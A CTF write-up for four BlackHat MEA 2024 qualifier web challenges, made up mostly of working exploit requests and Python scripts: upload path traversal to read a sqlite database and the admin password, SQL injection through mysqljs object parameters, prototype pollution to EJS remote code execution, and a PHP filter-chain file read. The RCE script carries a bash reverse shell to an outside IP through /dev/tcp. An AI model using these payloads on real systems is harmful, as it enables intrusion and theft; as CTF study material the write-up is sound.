BlackHat MEA CTF 2024 Quals Web Writeup
Watermelon
- register a normal user
- use path traversal to read sqlite database to get admin’s password
- login as admin
- access
/admin
to get flag
1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST /register HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 35
{"username":"123","password":"123"}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST /login HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 35
{"username":"123","password":"123"}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
POST /upload HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IjEyMyJ9.ZtRBcQ.E882ma9geTCRMb3xDWmbvo1VRVE;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH4FFQ6zSbIax3PCr
Content-Length: 197
------WebKitFormBoundaryH4FFQ6zSbIax3PCr
Content-Disposition: form-data; name="file"; filename="../../instance/db.db"
Content-Type: text/plain
123
------WebKitFormBoundaryH4FFQ6zSbIax3PCr--
|
read the admin’s password in db.db and then login in as admin
1
2
3
4
5
6
7
8
9
|
GET /file/1 HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IjEyMyJ9.ZtRBcQ.E882ma9geTCRMb3xDWmbvo1VRVE;
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST /login HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 74
{"username":"admin","password":"0afc1e0ed61beb49f5f41838bcb0d8bf091b2796"}
|
1
2
3
4
5
6
7
8
9
10
|
GET /admin HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZtRDJQ.VXgYGJ3b3UoaFXUd4D4yRg6QIlU;
|
Notey
https://flatt.tech/research/posts/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql/
sql injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
url = 'http://ab28c99048e86bf2089a9.playat.flagyard.com'
s = requests.Session()
_ = s.post(url + '/register', data={
'username': '123',
'password': '123'
})
_ = s.post(url + '/login', data={
'username': '123',
'password': '123'
})
resp = s.get(url + '/viewNote?note_id[note_id]=1¬e_secret[secret]=1')
print(resp.text)
|
Fastest Delivery Service
prototype pollution -> ejs rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
import requests
s = requests.Session()
url = 'http://a403be87eb55e0acf147e.playat.flagyard.com'
_ = s.post(url + '/register', data={
'username': '__proto__',
'password': '123'
})
_ = s.post(url + '/login', data={
'username': '__proto__',
'password': '123'
})
resp = s.post(url + '/address', data={
'username': '__proto__',
'addressId': 'client',
'Fulladdress': True
})
print(resp.text)
resp = s.post(url + '/address', data={
'username': '__proto__',
'addressId': 'escapeFunction',
'Fulladdress': "1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/122.51.21.9/65123 0>&1\"')"
})
print(resp.text)
|
Free Flag
https://github.com/ambionics/wrapwrap
generate payload
1
|
python wrapwrap.py /flag.txt '<?php' '' 20000 # output in chain.txt
|
replace /flag
to php://filter/convert.base64-encode|convert.base64-encode/resource=/flag.txt
in order to increase the original data, otherwise part of the flag would be missing
chain.txt
1
|
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=php://filter/convert.base64-encode|convert.base64-encode/resource=/flag.txt
|
exp.py
1
2
3
4
5
6
7
8
9
|
import requests
with open('chain.txt', 'r') as f:
chain = f.read()
url = 'http://ac4ecd860274e0289f79f.playat.flagyard.com/'
resp = requests.post(url, data={'file': chain})
print(resp.text)
|
base64 decode twice to get the flag